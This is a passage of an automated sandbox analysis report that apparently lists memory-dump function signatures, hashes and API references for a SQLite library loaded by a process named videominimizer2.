                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_log
                                                                                                                                                                                                                                      • String ID: -- $d
                                                                                                                                                                                                                                      • API String ID: 632333372-777087308
                                                                                                                                                                                                                                      • Opcode ID: 2197877c990d2cc598be623123ad695ba2ed3a88a0fc98749b4c643aad0a3996
                                                                                                                                                                                                                                      • Instruction ID: d45f625f7ed72e8bd0cbe86fb5af212c953cff4c7e5ffbb26f6c4a79540968e1
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2197877c990d2cc598be623123ad695ba2ed3a88a0fc98749b4c643aad0a3996
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FB51F674A043689BDB26CF28C980789BBFABF55304F1481D9E89CAB341C7759E85CF40
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_log
                                                                                                                                                                                                                                      • String ID: string or blob too big$|
                                                                                                                                                                                                                                      • API String ID: 632333372-330586046
                                                                                                                                                                                                                                      • Opcode ID: b6301cf988e6664baaa8b4960c9a349f418ad1f33ca54faa928bbeacb0d503e6
                                                                                                                                                                                                                                      • Instruction ID: 65a9847582dc10a4f4f17f1c4fc8d82f10366072c52f03016cacc5a11d353e3e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b6301cf988e6664baaa8b4960c9a349f418ad1f33ca54faa928bbeacb0d503e6
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4D51B9749083689BCB22CF28C985789BBF6BF59314F1086D9E49897351C775EE81CF41
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_log
                                                                                                                                                                                                                                      • String ID: d$|
                                                                                                                                                                                                                                      • API String ID: 632333372-415524447
                                                                                                                                                                                                                                      • Opcode ID: b41da94c8e0873fb31ce46b9bf1ec845f2d469f37e36bd2a55cc8f8885e561b5
                                                                                                                                                                                                                                      • Instruction ID: dac03e427e93f591f5d1737f90c886445feec93ea56e6f6f32424ebbe55d5cce
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b41da94c8e0873fb31ce46b9bf1ec845f2d469f37e36bd2a55cc8f8885e561b5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 50510970A04329DBDB26CF19C981799BBBABF55308F0481D9E958AB341D735EE81CF41
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_logsqlite3_value_text
                                                                                                                                                                                                                                      • String ID: string or blob too big
                                                                                                                                                                                                                                      • API String ID: 2320820228-2803948771
                                                                                                                                                                                                                                      • Opcode ID: 4552165c49a92a3f1eebbde7746405f837ee0ef0562a3825501d2540ddfe4a5c
                                                                                                                                                                                                                                      • Instruction ID: 1f8da1134a73d261049fdcd83983d84c916c8a3f87851362e697cdb17b1d2bab
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4552165c49a92a3f1eebbde7746405f837ee0ef0562a3825501d2540ddfe4a5c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F631D9B0A083249BCB25DF28C881799B7FABF69304F0085DAE898A7301D775DE81CF45
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_aggregate_context.SQLITE3 ref: 60914096
                                                                                                                                                                                                                                      • sqlite3_value_numeric_type.SQLITE3 ref: 609140A2
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_aggregate_contextsqlite3_value_numeric_type
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3265351223-3916222277
                                                                                                                                                                                                                                      • Opcode ID: 46809e466d9dc696839b8d734d1d71a7cd961db8d22299a3a9f395bc6b436a6c
                                                                                                                                                                                                                                      • Instruction ID: a3c0f903ff645dd1c5a8146eaa2078e963ad6c1b8d1bbf61d5d4caeb1888773d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 46809e466d9dc696839b8d734d1d71a7cd961db8d22299a3a9f395bc6b436a6c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 19119EB0A0C6589BDF059F69C4D539A7BF6AF39308F0044E8D8D08B205E771CD94CB81
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_stricmp
                                                                                                                                                                                                                                      • String ID: log
                                                                                                                                                                                                                                      • API String ID: 912767213-2403297477
                                                                                                                                                                                                                                      • Opcode ID: 32625358f7d37366d1c1d188942de81712d107425b8b720a67b4b84d1adec0cd
                                                                                                                                                                                                                                      • Instruction ID: cbf508da25866b0a35bc2ca480d64d7c482f0664b0359b741109bd545b4f9ff5
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 32625358f7d37366d1c1d188942de81712d107425b8b720a67b4b84d1adec0cd
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FD11DAB07087048BE725AF66C49535EBBB3ABA1708F10C42CE4854B784C7BAC986DB42
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_strnicmp
                                                                                                                                                                                                                                      • String ID: SQLITE_
                                                                                                                                                                                                                                      • API String ID: 1961171630-787686576
                                                                                                                                                                                                                                      • Opcode ID: 6b56a851e7df47422a7a29131339b4dfcb3302745a705f9abe90012807219487
                                                                                                                                                                                                                                      • Instruction ID: 6d5ef3c0fd507030b5e8170497320435726bf3f0db30f2d6f2734bcd7f756fb3
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6b56a851e7df47422a7a29131339b4dfcb3302745a705f9abe90012807219487
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2501D6B190C3505FD7419F29CC8075BBFFAEBA5258F10486DE89687212D374DC81D781
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_value_bytes.SQLITE3 ref: 6091A1DB
                                                                                                                                                                                                                                      • sqlite3_value_blob.SQLITE3 ref: 6091A1FA
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Invalid argument to rtreedepth(), xrefs: 6091A1E3
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_value_blobsqlite3_value_bytes
                                                                                                                                                                                                                                      • String ID: Invalid argument to rtreedepth()
                                                                                                                                                                                                                                      • API String ID: 1063208240-2843521569
                                                                                                                                                                                                                                      • Opcode ID: 11a8b631faa983fdd1b04a57150add771201859657fb9a8a7ca9793758d49f10
                                                                                                                                                                                                                                      • Instruction ID: c9489564a96cd83e586e3a08c251b8a8c74d553169181c25a19da25ffef599d7
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 11a8b631faa983fdd1b04a57150add771201859657fb9a8a7ca9793758d49f10
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0FF0A4B2A0C2589BDB00AF2CC88255577A6FF24258F1045D9E9858F306EB34DDD5C7D1
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_soft_heap_limit64.SQLITE3 ref: 609561D7
                                                                                                                                                                                                                                        • Part of subcall function 6092A43E: sqlite3_initialize.SQLITE3 ref: 6092A450
                                                                                                                                                                                                                                        • Part of subcall function 6092A43E: sqlite3_mutex_enter.SQLITE3 ref: 6092A466
                                                                                                                                                                                                                                        • Part of subcall function 6092A43E: sqlite3_mutex_leave.SQLITE3 ref: 6092A47F
                                                                                                                                                                                                                                        • Part of subcall function 6092A43E: sqlite3_memory_used.SQLITE3 ref: 6092A4BA
                                                                                                                                                                                                                                      • sqlite3_soft_heap_limit64.SQLITE3 ref: 609561EB
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_soft_heap_limit64$sqlite3_initializesqlite3_memory_usedsqlite3_mutex_entersqlite3_mutex_leave
                                                                                                                                                                                                                                      • String ID: soft_heap_limit
                                                                                                                                                                                                                                      • API String ID: 1251656441-405162809
                                                                                                                                                                                                                                      • Opcode ID: 0a3178e3d5348c0d1dba646aca47308acc52713326f376e4eba91e5107f5ba07
                                                                                                                                                                                                                                      • Instruction ID: 8891d4bbc0f5aef5547f00e3070395c34840fc2012d087b050684f6162b0ba7d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0a3178e3d5348c0d1dba646aca47308acc52713326f376e4eba91e5107f5ba07
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C2014B71A083188BC710EF98D8417ADB7F2BFA5318F508629E8A49B394D730DC42CF41
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_log.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6094A57F), ref: 6092522A
                                                                                                                                                                                                                                      • sqlite3_log.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6094A57F), ref: 60925263
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_log
                                                                                                                                                                                                                                      • String ID: NULL
                                                                                                                                                                                                                                      • API String ID: 632333372-324932091
                                                                                                                                                                                                                                      • Opcode ID: f56f6a0e8a895df1b0101c46b9851dc3af9ce5b0d95800d46be4b721d61d1ab1
                                                                                                                                                                                                                                      • Instruction ID: 5a36de60e8574ea04015b231464f09686a41744340efbe7a8a869d8181b3dc96
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f56f6a0e8a895df1b0101c46b9851dc3af9ce5b0d95800d46be4b721d61d1ab1
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BAF0A070238301DBD7102FA6E44230E7AEBABB0798F48C43C95A84F289D7B5C844CB63
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterLeavefree
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4020351045-0
                                                                                                                                                                                                                                      • Opcode ID: 13d179c58506242de641c1793229aaf6d73ae3266bd26a3d41fb94aeb54caf06
                                                                                                                                                                                                                                      • Instruction ID: 980a39aab3b848caec2c27f45d5308e77b440585e3cd6ccd446b63c63d51e1b6
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 13d179c58506242de641c1793229aaf6d73ae3266bd26a3d41fb94aeb54caf06
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2D018070B293058BDB10DF28C985919BBFBABB6308B20855CE499D7355D770DC80EB62
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D4DF
                                                                                                                                                                                                                                      • TlsGetValue.KERNEL32(?,?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D4F5
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D4FD
                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?,?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D520
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterErrorLastLeaveValue
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 682475483-0
                                                                                                                                                                                                                                      • Opcode ID: 79e4c3a08b5363d98cc33068bb7bbdcd271105d9d9d9c252471cf05fac27a945
                                                                                                                                                                                                                                      • Instruction ID: 6dd43474153c21470d2d90641e64b96ed0da30414b2d41baa8b5e8831fa3fcb2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 79e4c3a08b5363d98cc33068bb7bbdcd271105d9d9d9c252471cf05fac27a945
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9AF0F972A163104BEB10AF659CC1A5A7BFDEFB1218F100048FC6197354E770DC40D6A2